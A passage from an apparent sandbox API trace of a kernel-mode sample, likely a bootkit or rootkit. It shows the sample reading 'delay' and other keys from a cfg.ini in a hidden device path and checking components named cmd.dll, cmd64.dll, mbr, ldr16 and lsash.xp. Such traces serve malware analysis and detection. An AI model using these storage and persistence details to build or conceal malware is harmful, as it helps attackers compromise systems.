_Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.901] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.901] KeLeaveCriticalRegion () [0120.901] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.901] ReleaseMutex (hMutex=0x100) returned 1 [0120.901] Sleep (dwMilliseconds=0x2bf20) [0120.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b445970, dwHighDateTime=0x1d24fa4)) [0120.910] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.910] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.910] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.910] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.910] KeEnterCriticalRegion () [0120.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.910] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.910] IdePortDispatch () returned 0x103 [0120.910] KeWaitForMutexObject () returned 0x0 [0120.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.910] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.910] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.910] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.910] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.910] KeLeaveCriticalRegion () [0120.910] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.910] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.910] KeEnterCriticalRegion () [0120.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.910] KeLeaveCriticalRegion () [0120.911] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.911] KeEnterCriticalRegion () [0120.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.911] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.911] IdePortDispatch () returned 0x103 [0120.911] KeWaitForMutexObject () returned 0x0 [0120.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.911] KeLeaveCriticalRegion () [0120.911] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.911] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.911] KeEnterCriticalRegion () [0120.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003521000 [0120.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.911] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.911] IdePortDispatch () returned 0x103 [0120.911] KeWaitForMutexObject () returned 0x0 [0120.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.911] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.911] IdePortDispatch () returned 0x103 [0120.912] KeWaitForMutexObject () returned 0x0 [0120.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.912] KeLeaveCriticalRegion () [0120.912] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.912] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.912] KeEnterCriticalRegion () [0120.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.912] KeLeaveCriticalRegion () [0120.912] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.912] KeEnterCriticalRegion () [0120.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.912] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.912] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.912] KeLeaveCriticalRegion () [0120.912] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.912] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.912] KeEnterCriticalRegion () [0120.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] KeLeaveCriticalRegion () [0120.913] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.913] ReleaseMutex (hMutex=0xf0) returned 1 [0120.913] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.913] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.913] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.913] KeEnterCriticalRegion () [0120.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.913] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.913] IdePortDispatch () returned 0x103 [0120.913] KeWaitForMutexObject () returned 0x0 [0120.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.913] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.913] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.913] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.913] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.913] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba02e0 [0120.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] KeLeaveCriticalRegion () [0120.913] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.913] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.913] KeEnterCriticalRegion () [0120.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.913] KeLeaveCriticalRegion () [0120.913] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.914] KeEnterCriticalRegion () [0120.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.914] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.914] IdePortDispatch () returned 0x103 [0120.914] KeWaitForMutexObject () returned 0x0 [0120.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.914] KeLeaveCriticalRegion () [0120.914] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.914] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.914] KeEnterCriticalRegion () [0120.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003522000 [0120.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.914] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.914] IdePortDispatch () returned 0x103 [0120.914] KeWaitForMutexObject () returned 0x0 [0120.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.914] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.914] IdePortDispatch () returned 0x103 [0120.914] KeWaitForMutexObject () returned 0x0 [0120.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] KeLeaveCriticalRegion () [0120.915] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.915] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.915] KeEnterCriticalRegion () [0120.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] KeLeaveCriticalRegion () [0120.915] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.915] KeEnterCriticalRegion () [0120.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.915] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] KeLeaveCriticalRegion () [0120.915] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.915] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.915] KeEnterCriticalRegion () [0120.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] ExFreePoolWithTag (P=0xfffffa8003ba02e0, Tag=0x0) [0120.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.915] KeLeaveCriticalRegion () [0120.915] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.916] ReleaseMutex (hMutex=0xf0) returned 1 [0120.916] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.916] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.916] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.916] KeEnterCriticalRegion () [0120.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.916] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.916] IdePortDispatch () returned 0x103 [0120.916] KeWaitForMutexObject () returned 0x0 [0120.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.916] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.916] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.916] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.916] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.916] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce0a0 [0120.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.916] KeLeaveCriticalRegion () [0120.916] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.916] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.916] KeEnterCriticalRegion () [0120.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.917] KeLeaveCriticalRegion () [0120.917] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.917] KeEnterCriticalRegion () [0120.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.917] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.917] IdePortDispatch () returned 0x103 [0120.917] KeWaitForMutexObject () returned 0x0 [0120.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.917] KeLeaveCriticalRegion () [0120.917] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.917] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.917] KeEnterCriticalRegion () [0120.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.917] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003523000 [0120.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.917] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.917] IdePortDispatch () returned 0x103 [0120.917] KeWaitForMutexObject () returned 0x0 [0120.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.918] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.918] IdePortDispatch () returned 0x103 [0120.918] KeWaitForMutexObject () returned 0x0 [0120.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.918] KeLeaveCriticalRegion () [0120.918] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.918] KeEnterCriticalRegion () [0120.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.918] KeLeaveCriticalRegion () [0120.918] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.919] KeEnterCriticalRegion () [0120.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.919] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.919] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.919] KeLeaveCriticalRegion () [0120.919] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.919] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.919] KeEnterCriticalRegion () [0120.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.919] ExFreePoolWithTag (P=0xfffffa8003bce0a0, Tag=0x0) [0120.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.919] KeLeaveCriticalRegion () [0120.919] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.919] ReleaseMutex (hMutex=0xf0) returned 1 [0120.919] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.919] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.919] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.919] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.919] KeEnterCriticalRegion () [0120.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.919] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.919] IdePortDispatch () returned 0x103 [0120.919] KeWaitForMutexObject () returned 0x0 [0120.919] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.919] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.919] _strnicmp (_Str1="ldr16", 